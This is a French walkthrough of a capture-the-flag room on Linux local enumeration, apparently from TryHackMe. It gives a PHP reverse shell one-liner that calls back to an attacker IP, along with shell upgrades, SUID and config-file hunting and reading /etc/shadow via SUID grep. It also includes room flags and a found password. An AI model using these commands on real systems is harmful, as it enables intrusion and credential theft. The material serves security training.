Linux : Local Enumeration. Apprenez à énumérer efficacement une machine Linux et à identifier les éventuelles faiblesses.
Task 1 Introduction
En 1ier lieu, il faut pouvoir accéder à la machine. Pour cela, il faut se rendre sur la page web via l’adresse IP de la box, sur le port 3000. Comme ceci : http://MACHINE_IP:3000
Vous devriez arriver sur cette page :
Méthode 1 :
Il faut se rendre sur le « répertoire » /cmd.php afin de pouvoir exécuter la commande proposé à savoir :
php -r ‘$sock=fsockopen(« {IP} »,{PORT}});exec(« /bin/sh -i <&3 >&3 2>&3 »);’
Il faut donc rentrer le reverse shell PHP en ayant au préalable modifier l’IP et le PORT.
php -r ‘$sock=fsockopen(« 10.8.76.250 »,4444);exec(« /bin/sh -i <&3 >&3 2>&3 »);’
Avant de valider, il faut mettre en place un écouteur nc:
nc -nlvp 4444
On verra ensuite dans la task 2, comment upgrader le shell.
Task 2 Unit 1 - tty
- How would you execute /bin/bash with perl?
perl -e ‘exec « /bin/bash »;’
Le site GTFObins proposé dans le hint est à garder en favoris. Il est très souvent utile lors de l’exploitation de binary sois Linux.
Upgrade Shell :
Maintenant que le shell a été obtenu, on va comme, proposé dans la room, upgrade le shell avec cette commande : python3 -c ‘import pty; pty.spawn(« /bin/bash »)’
En effet, le shell initial, que l’on obtient, reste assez primitif. On ne peut par exemple pas exécuter de commande su, sudo, ou encore on peut se retrouver dans l’impossibilité de se connecter à une base de donnée MySQL.
Bien que cette commande est utile, il est conseillé d’aller un peu plus loin, pour rendre le shell encore plus opérationnel. Voici les commandes à effectuer :
Dans le reverse shell faire
crtl z
normalement, on revient sur notre terminal kali. Il faut taper ensuite :
stty raw -echo
Faire entrer. À moment là il faut taper
fg
Rien ne s’affiche. C’est normal. Il faut ensuite taper
reset
puis
xterm
Une dernière fois entrée et notre shell est parfaitement exploitable.
Task 3 Unit 1 - ssh
- Where can you usually find the id_rsa file? (User = user)
/home/user/.ssh/id_rsa
- Is there an id_rsa file on the box? (yay/nay)
nay
Comment créer une paire de clé publique/privée ?
ssh-keygen
(Il n’est pas obligatoire de mettre une passphrase).
Utilisation de la clé privée pour se connecter sur l’hôte.
Même si sur cette machine il n’est pas possible de le faire (l’utilisateur manager n’est pas autoriser à se connecter en SSH dans le fichier /etc/ssh/sshd_config) fichier, il est important de savoir que l’on a la possibilité de créer une paire de clé qui peut être ensuite utilisée pour se connecter sur la machine victime en SSH.
Comment faire ?
Une fois les clés créer sur la machine cible, il faut copie la clé privé (id_rsa) ou son contenu pour ensuite le transférer sur notre Kali.
La commande suivante nous permettra de se connecter en SSH.
Avant il faudra changer les droits du fichier id_rsa avec cette commande : chmod 600 id_rsa
ssh manager@10.10.33.87 -i id_rsa
Task 4 Unit 2 - Basic enumeration
- How would you print machine hardware name only?
uname -m
- Where can you find bash history?
∼/.bash_history
Pour lire le fichier bash_history : cat ∼/.bash_history
- What’s the flag?
thm{clear_the_history}
Task 5 Unit 3 - /etc
- Can you read /etc/passwd on the box? (yay/nay)
yay
Commande pour verifier les droits d’ouvertures d’un fichier :
ls -al /etc/passwd
-rw-r–r– 1 root root 2350 Aug 4 2020 /etc/passwd
Task 6 Unit 4 - Find command and interesting files
- What’s the password you found?
THMSkidyPass
Commande pour arriver au résultat (basique) :
find / -type f -name « *.bak » 2>/dev/null
Commande pour arriver au résultat ( avancée ) :
find / -type f -name *.bak -exec ls -l {} \; 2> /dev/null
En plus de chercher des fichiers *.bak, elle affiche aussi les droits sur les éléments trouvés. Cela qui permet d’éviter d’ouvrir, pour rien, des fichiers auxquels on n’a pas accès.
- Did you find a flag?
thm{conf_file}
Commande pour arriver au résultat ( basique ) :
find / -type f -name « *.conf » 2>/dev/null
L’exécution de cette commande va afficher beaucoup trop de résultat. En effet, pour chaque paquet installé dans un système Linux, il faut probablement un fichier .conf. On peut comprendre pourquoi que le résultat donne des centaines de lignes.
Commande pour arriver au résultat ( avancée ) :
find / -maxdepth 4 -name *.conf -type f 2>/dev/null | xargs grep -C 3 -i thm{
Cette commande fait la même chose que la précédente, à la différence, qu’elle va lire dans les fichiers quel trouve, si le champ de caractère {thm est présent. Auquel cas, il affiche l’emplacement du fichier et le champ de caractère.
Pour en savoir plus sur l’utilisation de la commande find, vous pouvez consulter ce Write-Up
Task 7 Unit 4 - SUID
- Which SUID binary has a way to escalate your privileges on the box?
grep
Commande pour arriver au résultat (basique) :
find / -perm -u=s -type f 2>/dev/null
Commande pour arriver au résultat (avancée) :
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
- What’s the payload you can use to read /etc/shadow with this SUID?
grep ′′ /etc/shadow
Task 8 [Bonus] - Port Forwarding
Le port forwarding, permet de redirigés des ports, qui sont écoute local sur une machine, vers l’extérieur. Pour faire simple, il peut arriver qu’une base de donnée MySQL sur utilisable qu’en local. En utilisation netstat -tulpn, on aura ce résultat 127.0.0.1:3306 . Je peux avec SSH et le port forwarding, accèder depuis Kali à la base de donnée avec cette commande : ssh -R 4444:127.0.0.1:3306 root@ip_kali
Puis, il faut se connecter en utilisation cette commande : mysql -u root -h 127.0.0.1 -P 4444
Ce n’est que simple exemple de ce qu’on peut faire avec le port forwarding.
Task 9 Unit 5 - Automating scripts
L’automatisation de l’énumération locale est une possibilité qu’il faut connaître, mais il faut être aussi capable d’énumérer sans l’aide d’outil. En effet, il peut être possible de ne pas pouvoir utiliser de script pour diverses raisons. Il est donc important de savoir quelles commandes permet de récupérer des informations sur la configuration du système que l’on attaque.
Linpeas ( Linux privilege escalation awesome scripts suite):
Peut-être le plus connu. Il est bien fait, il donne des résultats assez lisible. Il est lié à un site web bien connu : https://book.hacktricks.xyz/
Adresse pour le récupérer :
Linenum ( Linux enumeration ):
Je le trouve personnellement moins lisible que Linpeas même s’il reste lui aussi bien fait.
Adresse pour le récupérer :
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Lse ( Linux Smart Enumeration ):
C’est un fork de LinEnum ou du moins sa création en est inspiré. Il va encore plus loin dans la présentation des résultats et dans les options d’énumération. Il peut ne pas plaire ou être plus compliqué à utiliser (du fait des différentes options). Je vous conseille de les tester toutes les trois afin d’avoir une idée de l’utilisation des scripts automatique d’énumération.
Adresse pour lé récupérer :
wget « https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh » -O lse.sh;chmod 700 lse.sh
Quel que soit le script que vous utilisez, assurez-vous d’avoir la dernière version. Ils sont régulièrement mise à jour.